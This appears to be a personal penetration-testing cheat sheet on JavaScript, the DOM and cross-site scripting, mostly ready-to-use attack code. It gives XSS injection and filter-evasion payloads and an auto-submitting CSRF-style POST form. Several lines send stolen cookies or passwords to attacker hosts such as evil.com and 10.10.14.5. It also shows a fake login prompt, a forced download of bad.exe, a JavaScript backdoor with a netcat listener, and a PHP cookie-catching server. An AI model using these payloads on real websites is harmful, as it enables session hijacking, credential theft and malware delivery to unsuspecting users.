JavaScript & XSS

DOM

The Document Object Model is a programmatic API led interface for a web browser which creates smooth, responsive web apps without requiring new round-trip visits to a website. JavaScript is used to interface directly with the DOM.

JavaScript Primer

Object oriented programming language, generally used in web applications or on browsers. There are some specific terms which are similar to other types of programming languages.

Term

Meaning

Function

Just like any other language function, JS uses { } to determine a function's code.

Properties

Fields of attributes assigned to an object, can be hundreds of them. These properties can be referenced for easy manipulation of objects

Methods

Also known as member functions, belong to objects.

Browser Objects

This is a list of objects that can be referenced for the browser.

document.forms                // Find all forms on DOM
document.forms.length         // Find number of forms on DOM
document.forms[0].action      // Read the action of the first form in DOM
document.forms[0].action == "https://m4lwhere.org"    // Change the action of the form
document.cookie               // Lists cookies, will not work for HttpOnly
window.location.hostname      // Hostname of current site
window.location.href          // Full URL of current site
window.location.pathname      // URI only of current site (no hostname!)
window.location.protcol       // List HTTP or HTTPS
document.images               // All images in DOM
document.images.src           // Get the list of image objects in DOM
document.links                // All links in DOM
document.scripts              // All JavaScript scripts in DOM
document.readyState           // If page is loading or not
document.referrer             // Returns URI that linked to current page
document.title                // Title of current DOM
document.write                // Add text or other data to the document
ClipboardEvent.copy           // Event listener for a copy action
ClipboardEvent.paste          // Event listener for a paste action


console.log("haha");          // Prints the value of a command to the console, useful for debugging

encodeURIComponent("<script>alert(1)</script>")    // Encodes the URI for us :)

document.addEventListener('copy', (event) => {      // Creates a event listener which executes the alert when a copy is made
    alert('copy action initiated')
});

const paragraphs = document.querySelectorAll("p");    // Get a number of all paragraphs on the DOM
alert(paragraphs[0].nodeName);
paragraphs[(Math.floor(Math.random()*(paragraphs.length)))].hidden = true;    // Mark a random paragraph as hidden, making it appear as though it was deleted

<h1 style=-moz-transform:rotate(-180deg);>m4lwhere</h1>

// Get a list of all char values in an array named "year"
var codes = []
for (i=0; i < year.length; i++) { codes.push(year.charCodeAt([i]))}

// sum of all elements in an array
var sum = 0;
for (var i = 0; i < codes.length; i++) {sum += codes[i]}

XSS

Start by submitting a unique but benign string to identify where it is stored in the DOM/application. Can be placed in HTML content, tag attribute, or JS code. When cookies are assigned by a website, they SHOULD be given the HttpOnly attribute. This prevents JS from being able to touch the cookie at all. This will show up when the cookie is assigned.

// Start by placing a unique and benign string to identify where its stored in application
m4lwhereWuzHere

// HTML Content
<script>alert(1);</script>
<img src="x" onerror=alert(1);/>

// Tag Attributes
<input type="text" name="text_box" value="m4lwhereWuzHere">    // Legitimate Tag Attribute with our unique string
haha" onload="alert(1)    // Our injection
<input type="text" name="text_box" value="haha" onload="alert(1)">    // Our injection placed into Tag Attribute

// Existing JS Code
var lmao="m4lwhereWuzHere";    // Legitimate JS code in app
haha";alert(1);//              // Inject into the JS, then comment out the rest of JS
var lmao="haha";alert(1);//";  // Injected code :)  

// Encode into base64
btoa("alert('base64 used for xss on'+document.domain);");

// Deliver a Base64 encoded payload (useful for special characters)
eval(atob(YWxlcnQoJ2Jhc2U2NCB1c2VkIGZvciB4c3Mgb24nK2RvY3VtZW50LmRvbWFpbik7));


alert(1);
confirm(1);
prompt("Gimme ur password lmao");
<script src="http://m4lwhere.org/haha.js"></script>    // Loading an external script with XSS is trusted by the browser because it's served by the site!

Trigger POST Based Reflected XSS

This creates a button which when clicked will trigger a POST request with data sent to an known vulnerable endpoint. This assumes that there are no CSRF protections to prevent submissions on the vulnerable website. The JavaScript beneath the form will click on the button automatically as well, which forces the POST request to occur without user input.

<!DOCTYPE html>
<html>
  <head>
    <title>Reflected XSS POST</title>
  </head>
  <body>
    <form method="post" action="https://m4lwhere.org">
      <input type="hidden" name="data" value="your_data">
      <button id="clicker" type="submit">Send POST Request</button>
    </form>
    <script>
      // Get the button element by its ID
      var button = document.getElementById("clicker");
      // Click the button
      button.click();
    </script>
  </body>
</html>

Filter Evasion

Need to figure out what is being filtered, then how we can get around it. Angle brackets < > and <script> are commonly blocked, so we can target DOM events, encoded payloads, or payloads without these characters.

// Filter tests for XSS, used to determine which characters are filtered
<>()='"/;[]{}$--#&                  // Polyglot
'';!--"<XSS>=&{()}                  // Polyglot
JaVAscRIPT:prompt(99)

onerror=alert(1)                    // DOM Event based XSS, no <>!
<img src="ded" onerror=alert(1)>    // HTML based XSS without <script>
<svg onload=alert(1)>               // HTML based using SVG tags
<img SRC=javascript:alert('XSS');   // Ride an img tag 

Password Prompt

Create a fake username and password prompt to trick users into passing their login info. This can be used to fill any auto-login info and be automatically stolen.

// Create the fake user input forms
<form><input type="text" name="username" /><input type="password" name="password" /></form>

// Different ways to gather password value from DOM
document.querySelector("[name=password]").value
"adminpass"
document.querySelector("input[name=password]").value
"adminpass"
document.querySelector("[type=password]").value
"adminpass"

// Use jQuery $get method to steal the token
$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)

// All combined together
<form><input type="text" name="username" /><input type="password" name="password" /></form><script>setTimeout(function(){$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)}, 3000)</script>

Fun Payloads

Here's some good payloads

// Tracking cookies and XSS payloads
document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
<img src=x onerror=this.src="http://10.10.14.5/?c="+document.cookie>
image = new Image(); image.src='http://127.0.0.1?c='+document.cookie+'?d='+document.domain;
<script>document.location='http://10.142.148.X:8080/' + document.cookie</script>

// Download a file to the system
var link = document.createElement('a'); link.href = 'http://evil.com/downloads/bad.exe'; link.download = ''; document.body.appendChild(link); link.click();


// Automatically download a file to the system
<script>
window.onload = function(){
  var a = document.createElement("a");
  a.href = "link/to/file";
  a.download = true;
  a.click();
};
</script>


// Automatically redirect using pure HTML
<html>
  <iframe width=”1” height=”1” frameborder=”0” src=”badfile.exe”></iframe>
  <meta http-equiv=”refresh” content=”0;url=https://www.centripetal.ai” />
</html>


// Interactive JavaScript Backdoor: still needs some work
<svg onload=setInternal(function() {d=document; z=d.createElement("script"); z.src="//127.0.0.1:1234"; d.body.appendChild(z)},0)>
// Run on attacker box
while :; do printf "j$ "; read c; echo $c | nc -lvvp 1234 >/dev/null; done

AJAX

Asynchronous JavaScript and XML, used to add more content dynamically to a page without refreshing the entire page. Main object used to generate this ability is the XMLHttpRequest function. A new function, Fetch is a newer API with more features.

XMLHttpRequest.readyState    // Determines if the client has sent data, downloading, or done
XMLHttpRequest.open()        // Initializes a request and gives a lot of flexibility

Tools

XSSer, xsssniper, XSScrapy

References

https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction

Catching cookies with exploits can be done several ways. Likely the easiest is to send the cookie in a GET request and capture it with python3 -m http.server. We can get more detailed however!

<html>
<?php
file_put_contents("cookies.log", json_encode(array(
    "GET"=>$_GET,
    "POST"=>$_POST,
    "headers"=>getallheaders()))."\n",
    FILE_APPEND);
?>
</html>
m4lwhere@ubuntu:~/web/cookiecatcher$ php -S 0.0.0.0:8080
PHP 7.2.24-0ubuntu0.18.04.2 Development Server started at Sun Feb 23 11:45:54 2020
Listening on http://0.0.0.0:8080
Document root is /home/m4lwhere/cookiecatcher

Last updated